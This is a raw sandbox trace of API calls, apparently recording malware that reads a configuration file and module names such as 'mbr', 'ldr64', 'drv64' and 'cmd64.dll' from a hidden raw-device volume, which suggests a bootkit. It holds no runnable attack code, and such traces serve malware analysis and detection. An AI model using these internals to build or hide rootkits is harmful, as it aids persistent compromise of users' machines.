KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.572] IdePortDispatch () returned 0x103 [0120.572] KeWaitForMutexObject () returned 0x0 [0120.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.573] KeLeaveCriticalRegion () [0120.573] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.573] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.573] KeEnterCriticalRegion () [0120.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.573] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.573] KeLeaveCriticalRegion () [0120.573] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.573] KeEnterCriticalRegion () [0120.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.573] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.573] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.573] KeLeaveCriticalRegion () [0120.573] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.573] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.573] KeEnterCriticalRegion () [0120.573] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.573] ExFreePoolWithTag (P=0xfffffa8003bba720, Tag=0x0) [0120.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.573] KeLeaveCriticalRegion () [0120.573] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.573] ReleaseMutex (hMutex=0xf0) returned 1 [0120.574] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.574] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.574] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.574] KeEnterCriticalRegion () [0120.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.574] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.574] IdePortDispatch () returned 0x103 [0120.574] KeWaitForMutexObject () returned 0x0 [0120.574] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.574] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.574] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.574] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.574] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.574] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbd10 [0120.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.574] KeLeaveCriticalRegion () [0120.574] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.574] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.574] KeEnterCriticalRegion () [0120.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.574] KeLeaveCriticalRegion () [0120.574] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.574] KeEnterCriticalRegion () [0120.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.574] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.574] IdePortDispatch () returned 0x103 [0120.574] KeWaitForMutexObject () returned 0x0 [0120.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.575] KeLeaveCriticalRegion () [0120.575] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.575] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.575] KeEnterCriticalRegion () [0120.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.575] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a1000 [0120.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.575] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.575] IdePortDispatch () returned 0x103 [0120.575] KeWaitForMutexObject () returned 0x0 [0120.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.575] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.575] IdePortDispatch () returned 0x103 [0120.575] KeWaitForMutexObject () returned 0x0 [0120.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.575] KeLeaveCriticalRegion () [0120.575] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.576] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.576] KeEnterCriticalRegion () [0120.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.576] KeLeaveCriticalRegion () [0120.576] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.576] KeEnterCriticalRegion () [0120.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.576] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.576] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.576] KeLeaveCriticalRegion () [0120.576] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.576] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.576] KeEnterCriticalRegion () [0120.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.576] ExFreePoolWithTag (P=0xfffffa8003bbbd10, Tag=0x0) [0120.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.576] KeLeaveCriticalRegion () [0120.576] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.576] ReleaseMutex (hMutex=0xf0) returned 1 [0120.576] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.576] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.576] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.577] KeEnterCriticalRegion () [0120.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.577] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.577] IdePortDispatch () returned 0x103 [0120.577] KeWaitForMutexObject () returned 0x0 [0120.577] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.577] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.577] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.577] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.577] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.577] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba600 [0120.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.577] KeLeaveCriticalRegion () [0120.577] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.577] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.577] KeEnterCriticalRegion () [0120.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.577] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.577] KeLeaveCriticalRegion () [0120.577] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.577] KeEnterCriticalRegion () [0120.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.577] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.577] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.577] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.577] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.577] IdePortDispatch () returned 0x103 [0120.577] KeWaitForMutexObject () returned 0x0 [0120.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.578] KeLeaveCriticalRegion () [0120.578] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.578] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.578] KeEnterCriticalRegion () [0120.578] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.578] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a2000 [0120.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.578] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.578] IdePortDispatch () returned 0x103 [0120.578] KeWaitForMutexObject () returned 0x0 [0120.578] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.578] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.578] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.578] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.578] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.578] IdePortDispatch () returned 0x103 [0120.578] KeWaitForMutexObject () returned 0x0 [0120.578] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.578] KeLeaveCriticalRegion () [0120.578] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.579] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.579] KeEnterCriticalRegion () [0120.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.579] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.579] KeLeaveCriticalRegion () [0120.579] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.579] KeEnterCriticalRegion () [0120.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.579] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.579] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbcc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.579] KeLeaveCriticalRegion () [0120.579] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.579] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.579] KeEnterCriticalRegion () [0120.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.579] ExFreePoolWithTag (P=0xfffffa8003bba600, Tag=0x0) [0120.579] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.579] KeLeaveCriticalRegion () [0120.579] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.579] ReleaseMutex (hMutex=0xf0) returned 1 [0120.579] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.579] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.579] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.579] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.579] KeEnterCriticalRegion () [0120.579] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.580] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.580] IdePortDispatch () returned 0x103 [0120.580] KeWaitForMutexObject () returned 0x0 [0120.580] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.580] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.580] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.580] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.580] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.580] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.580] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.580] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.580] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.580] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.580] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.580] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.580] KeLeaveCriticalRegion () [0120.580] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.580] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.580] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.580] KeEnterCriticalRegion () [0120.580] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.580] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.580] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.580] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.580] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.580] IdePortDispatch () returned 0x103 [0120.581] KeWaitForMutexObject () returned 0x0 [0120.581] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.581] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.581] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.581] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.581] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.581] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.581] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.581] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.581] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.581] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.581] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.581] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.581] KeLeaveCriticalRegion () [0120.581] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.581] ReleaseMutex (hMutex=0x100) returned 1 [0120.581] Sleep (dwMilliseconds=0x2bf20) [0120.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b125c90, dwHighDateTime=0x1d24fa4)) [0120.589] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.589] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.589] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.590] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.590] KeEnterCriticalRegion () [0120.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.590] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.590] IdePortDispatch () returned 0x103 [0120.590] KeWaitForMutexObject () returned 0x0 [0120.590] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.590] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.590] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.590] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.590] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.590] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba360 [0120.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.590] KeLeaveCriticalRegion () [0120.590] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.590] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.590] KeEnterCriticalRegion () [0120.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 